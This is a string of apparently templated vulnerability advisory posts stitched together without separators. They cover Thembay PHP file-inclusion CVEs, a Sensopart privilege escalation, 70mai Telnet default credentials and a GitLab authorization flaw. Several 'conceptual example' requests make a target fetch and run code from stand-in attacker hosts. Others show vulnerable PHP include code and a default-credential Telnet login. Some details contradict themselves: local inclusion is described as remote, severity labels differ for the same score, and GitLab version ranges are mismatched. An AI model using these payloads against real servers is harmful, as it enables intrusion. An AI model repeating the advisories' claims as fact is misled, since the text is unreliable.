Author: Ameeba

Overview

The cybersecurity landscape is riddled with potential threats and vulnerabilities. One such vulnerability is the Improper Control of Filename for Include/Require Statement in PHP Program, commonly known as the PHP Remote File Inclusion vulnerability. This specific vulnerability, labelled as CVE-2025-49259, affects the Thembay Hara system from its earliest version through 1.2.10. It poses a significant risk to system integrity and data privacy as it potentially allows unauthorized access and data leakage.
This vulnerability is of particular concern due to the rising prevalence of PHP in web development, coupled with the widespread use of Thembay Hara. Its exploitation could lead to widespread system compromise and significant data breaches if not promptly addressed.

Vulnerability Summary

CVE ID: CVE-2025-49259
Severity: Critical (CVSS: 8.1)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Thembay Hara | From initial version through 1.2.10

How the Exploit Works

In a PHP Remote File Inclusion exploit, the attacker manipulates a vulnerability within the PHP code of a website to include a remote file. This is typically achieved by exploiting poorly validated input fields to inject malicious PHP code that points to a remote file.
In the case of CVE-2025-49259, the attacker would exploit an improperly controlled filename in an Include/Require statement in the Thembay Hara system. This would allow the attacker to include a file from a remote server, leading to the execution of arbitrary PHP code on the target server, potentially leading to system compromise or data leakage.

Conceptual Example Code

Below is a
conceptual
example of how the vulnerability might be exploited:

GET /index.php?page=http://attacker.com/malicious_file.txt HTTP/1.1
Host: vulnerablewebsite.com

In this example, the attacker is manipulating the ‘page’ parameter in the URL to point to a malicious file on their server (‘http://attacker.com/malicious_file.txt’). This would result in the malicious file being included and executed on the target server.

Overview

The CVE-2025-49258 vulnerability pertains to an improper control of the filename for Include/Require Statement in PHP Program, more commonly known as ‘PHP Remote File Inclusion’ vulnerability. This vulnerability impacts Themebay Maia, a popular software product, potentially leading to system compromise or data leakage, hence its CVSS severity score of 8.1. This blog post aims to provide a comprehensive understanding of this vulnerability, highlighting why it matters, who it affects, and the steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-49258
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Themebay Maia | n/a through 1.1.15

How the Exploit Works

The vulnerability lies in the improper control of the filename in the Include/Require statement of a PHP program. An attacker could potentially manipulate this flaw to include a file from a remote server that contains malicious PHP code. Upon execution of the code, the attacker could gain unauthorized access to the system, leading to a system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

<?php
// The vulnerable code
$incfile = $_GET['file'];
include($incfile . ".php");
// The exploit
// Access the URL http://<target_site>/<vulnerable_page>?file=http://<malicious_site>/malicious_file
?>

In the above example, the attacker modifies the ‘file’ GET parameter in the URL to include a PHP file from a remote, malicious server.

Remediation

As a mitigation measure, it is recommended to apply the vendor patch as soon as it becomes available. If immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It is also crucial to enforce proper input validation techniques, such as whitelisting of acceptable inputs, to prevent such vulnerabilities in the future.

Overview

The CVE-2025-49257 vulnerability poses a significant risk to any system utilizing Thembay’s Zota up to version 1.3.8. This vulnerability arises from an Improper Control of Filename for Include/Require Statement in PHP Program, which essentially allows PHP Local File Inclusion – a serious security flaw that could pave the way for unauthorized system access or data leakage. It’s of critical importance that those affected understand and address this vulnerability promptly to prevent potential system compromise.

Vulnerability Summary

CVE ID: CVE-2025-49257
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Zota by Thembay | Up to 1.3.8

How the Exploit Works

This exploit works by manipulating the filename in a PHP include/require statement. An attacker can remotely include a file from a different server, leading to local file inclusion. This means that the attacker can execute arbitrary PHP code on the server, potentially leading to system compromise or data leakage.

Conceptual Example Code

Below is a simplified, conceptual example of how the vulnerability might be exploited. This example demonstrates a malicious HTTP request that includes a remote file:

GET /index.php?page=http://malicious.example.com/malicious_file.txt HTTP/1.1
Host: vulnerable.example.com

In this example, the attacker has manipulated the `page` parameter to include a remote file from “malicious.example.com. When this request is processed by the server, the malicious code within ‘malicious_file.txt’ is executed.

Mitigation

The primary mitigation for this vulnerability is to apply a patch provided by the vendor. If a patch is not immediately available or cannot be applied right away, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation strategy. These can be configured to detect and block attempts to exploit this vulnerability.
Remember, prompt action is essential in preventing potential system compromise or data leakage. Regularly updating your systems and applications, alongside utilising robust cybersecurity measures, is key to maintaining a secure network environment.

Overview

The cybersecurity landscape is fraught with ever-evolving threats, and one such threat has been identified in thembay Sapa. The vulnerability, coded as CVE-2025-49256, has gained significant attention due to its potential to allow PHP Local File Inclusion (LFI) through an Improper Control of Filename for Include/Require Statement in PHP Program. The nature of this vulnerability implies that it primarily affects web applications running the affected versions of Sapa. The significance of this vulnerability lies in its potential to compromise system security or leak data, thus posing a serious risk for businesses and individuals alike.

Vulnerability Summary

CVE ID: CVE-2025-49256
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Thembay Sapa | N/A – 1.1.14

How the Exploit Works

The exploit works by exploiting the lack of proper control of the filename in a PHP include/require statement in thembay Sapa’s programming. This allows a remote attacker to manipulate the input and include a file from a remote server, leading to PHP Remote File Inclusion. The attacker can then execute arbitrary code in the context of the application, potentially compromising the system or leaking sensitive data.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is shown below:

GET /vulnerable/page.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the attacker uses a GET request to the vulnerable page on the target server. The “file” parameter is manipulated to include a malicious file hosted on the attacker’s server. When the server processes this request, it inadvertently includes the malicious file, executing the arbitrary code within.

Mitigation and Prevention

To mitigate the risks associated with this vulnerability, it is advised to apply the vendor patch as soon as it becomes available. In the interim, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Regularly updating and patching systems, coupled with stringent monitoring, can prevent such vulnerabilities from being exploited and ensure a robust security posture.

Overview

This blog post discusses the CVE-2025-49255 vulnerability, a critical PHP Remote File Inclusion (RFI) vulnerability discovered in thembay Ruza. This vulnerability exposes users to potential system compromise or data leakage, making it a significant cybersecurity concern. It affects Ruza versions up to and including 1.0.7. The RFI vulnerability is especially concerning given its potential to provide a malicious actor with the ability to execute arbitrary PHP code remotely, which can lead to severe consequences such as full system compromise.

Vulnerability Summary

CVE ID: CVE-2025-49255
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: No
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

Thembay Ruza | Up to and including 1.0.7

How the Exploit Works

The PHP Remote File Inclusion vulnerability, as the name implies, allows an attacker to include a remote file, usually through a script on a web server. This file can execute arbitrary PHP code. The issue arises due to the improper control of filename for include/require statement in the PHP program of thembay Ruza. An attacker can manipulate these statements to inject malicious scripts into a server’s file system, which the server then executes.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a crafted request to a vulnerable server. The request could look something like this:

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable-ruza-site.com

In this example, `http://attacker.com/malicious_file.php` is a PHP script hosted on the attacker’s server. The vulnerable server fetches and executes this script, leading to a potential system compromise or data leakage.

Mitigation Measures

The most effective way to mitigate this vulnerability is by applying the vendor patch. If that is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method. These tools can detect and block attempts to exploit this vulnerability. Furthermore, it is recommended to disable allow_url_include and allow_url_fopen in the PHP configuration, which prevents the inclusion of remote files.

Overview

The heightened reliance on software and digital systems makes security vulnerabilities a significant concern for businesses and individuals alike. A newly identified vulnerability tagged as CVE-2025-49254 threatens the security landscape, specifically impacting PHP programs developed with the thembay Nika framework. This vulnerability is particularly worrisome due to its potential to compromise systems or cause data leakage-making it a potential goldmine for cybercriminals looking to disrupt operations or steal sensitive information.

Vulnerability Summary

CVE ID: CVE-2025-49254
Severity: Critical (CVSS Score 8.1)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

thembay Nika | Up to and including 1.2.8

How the Exploit Works

The vulnerability occurs due to improper control over the filename in PHP ‘include’ or ‘require’ statements. An attacker can manipulate these statements to include files from remote servers. This process, known as Remote File Inclusion (RFI), allows the attacker to inject and execute arbitrary code on the server, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

<?php
// User input is not properly sanitized
$fileName = $_GET['file'];
// The server includes the specified file
include($fileName . '.php');
?>

In this example, a malicious actor could manipulate the ‘file‘ parameter in the GET request to point to a remote file, such as `http://attacker.com/malicious`. This would result in the server including `http://attacker.com/malicious.php`, executing any PHP code contained within.

Mitigation Guidance

System administrators and users of thembay Nika are advised to urgently apply the vendor patch to mitigate this vulnerability. In situations where immediate patching is not feasible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure to prevent an exploit. However, these are not long-term solutions and the vendor patch should be applied as soon as possible to fully secure the system.

Overview

In the rapidly evolving world of cybersecurity, vulnerabilities are discovered and patched regularly. One such vulnerability has recently come to light that affects users of Thembay’s Lasa PHP program. The vulnerability, identified as CVE-2025-49253, concerns an improper control of the filename for include/require statement, which can lead to a PHP Remote File Inclusion (RFI). This vulnerability is especially critical as it could potentially lead to a system compromise or data leakage if exploited by malicious actors.
The severity of this vulnerability is significant, evidenced by its CVSS score of 8.1. Therefore, it is essential for all users and administrators of Thembay Lasa to understand the details of this vulnerability and take immediate steps to mitigate its potential impact.

Vulnerability Summary

CVE ID: CVE-2025-49253
Severity: High, CVSS Score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Thembay Lasa | Up to 1.1

How the Exploit Works

The exploit works by manipulating the PHP include or require statements in Thembay Lasa. In a standard operating environment, these statements are used to include a file as if it were a part of the original script. However, if the filename is improperly controlled, it could lead to a PHP Remote File Inclusion vulnerability.
In this case, an attacker could remotely inject a file hosted on a different server, resulting in the execution of arbitrary PHP code. This code execution happens in the context of the application, potentially leading to a full system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:

<?php
// The attacker could manipulate the $file variable to include a remote file
$file = $_GET['file'];
include($file . ".php");
?>

In this example, an attacker could provide a URL like `www.vulnerablewebsite.com/page.php?file=http://maliciouswebsite.com/maliciouscode` to execute their malicious PHP code on the server.

Mitigation Guidance

Users and administrators of Thembay Lasa are advised to apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can detect and prevent attempts to exploit this vulnerability, reducing the potential risk of a successful attack.
Remember, in the world of cybersecurity, awareness and prompt action are the best defenses against potential threats.

Overview

The cybersecurity landscape is continually evolving, with new vulnerabilities identified and patched regularly. One such vulnerability, identified as CVE-2023-50450, has been discovered in Sensopart VISOR Vision Sensors versions prior to 2.10.0.2. This critical flaw allows local users to perform unspecified actions with elevated privileges, potentially leading to system compromise or data leakage. This vulnerability is especially significant given the widespread use of Sensopart vision sensors in various industries, including automotive, electronics, and robotics. Therefore, addressing this vulnerability is crucial to maintaining the security and integrity of these systems.

Vulnerability Summary

CVE ID: CVE-2023-50450
Severity: High (CVSS 8.4)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: System Compromise and Potential Data Leakage

Affected Products

Product | Affected Versions

Sensopart VISOR Vision Sensors | Before 2.10.0.2

How the Exploit Works

While the exact details of the exploit are unspecified, it likely involves a local user leveraging this vulnerability to escalate their privileges within the system. This may be achieved through various means, such as exploiting bugs in the software, manipulating data, or exploiting insecure configurations. Once the user has elevated privileges, they can perform actions that are typically restricted, potentially leading to unauthorized access to sensitive data or control over the system.

Conceptual Example Code

While we cannot provide an exact exploit code due to the unspecified nature of this vulnerability, an example of a privilege escalation exploit might look like this:

$ whoami
low_priv_user
$ ./exploit_CVE-2023-50450
...
...
Exploit successful
$ whoami
root

In this conceptual example, a low-privileged user (`low_priv_user`) runs an exploit script (`exploit_CVE-2023-50450`) that takes advantage of the vulnerability to elevate their privileges. After successful exploitation, the user is able to run commands as `root`, the highest-privileged user on the system.

Mitigation and Patching

The best course of action to mitigate this vulnerability is to apply the vendor patch. Sensopart has released an update (2.10.0.2) that addresses this vulnerability, and users are strongly advised to update to this version as soon as possible. If immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. However, these measures are only temporary and cannot replace the need for patching the software.
Remember, staying updated on the latest patches and keeping a robust security infrastructure are key strategies in maintaining a strong defense against cyber threats.

Overview

A critical vulnerability has been discovered in 70mai M300 up to version 20250611, affecting components of its Telnet service. This vulnerability is potentially hazardous to any organization using the affected versions of this product, as it opens up the potential for system compromise and data leakage. This vulnerability is particularly concerning as it has been disclosed to the public and thus, malicious actors may be aware of and actively exploiting this weakness.

Vulnerability Summary

CVE ID: CVE-2025-6529
Severity: Critical (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage due to use of default credentials in Telnet service

Affected Products

Product | Affected Versions

70mai M300 | Up to 20250611

How the Exploit Works

The vulnerability arises from the Telnet service within the 70mai M300 product. This service, intended for remote administration of the device, is configured with default credentials, which are not enforced to be changed upon installation or setup. As such, an attacker who gains network access can simply use these default credentials to gain control of the device. This manipulation allows for an unauthorized user to potentially compromise the system and leak sensitive data.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability via a simple Telnet command:

telnet target_device_ip
Trying target_device_ip...
Connected to target_device_ip.
Escape character is '^]'.
login: default_username
password: default_password
# Now the attacker has control over the device

Mitigation Guidance

The primary mitigation for this vulnerability is to apply the vendor-provided patch when it becomes available. In the absence of an immediate patch, it is recommended to use Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) as temporary measures to detect and prevent possible attacks. Furthermore, if possible, the default credentials should be changed immediately to prevent unauthorized access.
In the meantime, users are encouraged to monitor their systems for any signs of suspicious activity, and to remain vigilant about updates from the vendor regarding this issue. It is also advisable to isolate the affected devices from the network, or place them behind a firewall until the patch is applied.

Overview

In this post, we are going to examine CVE-2025-5121, a critical security issue recently discovered in GitLab CE/EE. This vulnerability affects all versions of GitLab CE/EE from 17.11 before 17.11.4 and 18.0 before 18.0.2. The issue lies in a missing authorization check that could potentially allow compliance frameworks to be applied to projects outside their designated groups. This vulnerability is of high significance as it opens up potential system compromises and data leakages.

Vulnerability Summary

CVE ID: CVE-2025-5121
Severity: Critical (8.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GitLab CE | 17.11 to 17.11.3
GitLab EE | 18.0 to 18.0.1

How the Exploit Works

This exploit works by taking advantage of a missing authorization check in the compliance framework of GitLab CE/EE. As a result, unauthorized users can apply compliance frameworks to projects outside of the framework’s group. This could allow an attacker to manipulate project settings, potentially compromising the system, or leading to data leakage.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability. It involves sending a malicious HTTP POST request to the GitLab server.

POST /projects/:id/compliance_frameworks HTTP/1.1
Host: gitlab.example.com
Content-Type: application/json
{
"compliance_framework": {
"name": "ISO 27001",
"color": "#F00",
"description": "This is a malicious compliance framework",
"group_id": "target_group_id"
}
}

In this example, the attacker is able to set a compliance framework on a project they shouldn’t have access to by specifying the target group id in the POST data.

Mitigation Guidance

Users are advised to apply the vendor-supplied patches immediately. GitLab has released versions 17.11.4 and 18.0.2 that address this vulnerability. In the interim, the use of Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation. Remain vigilant, it is crucial to keep your systems updated to prevent potential exploits.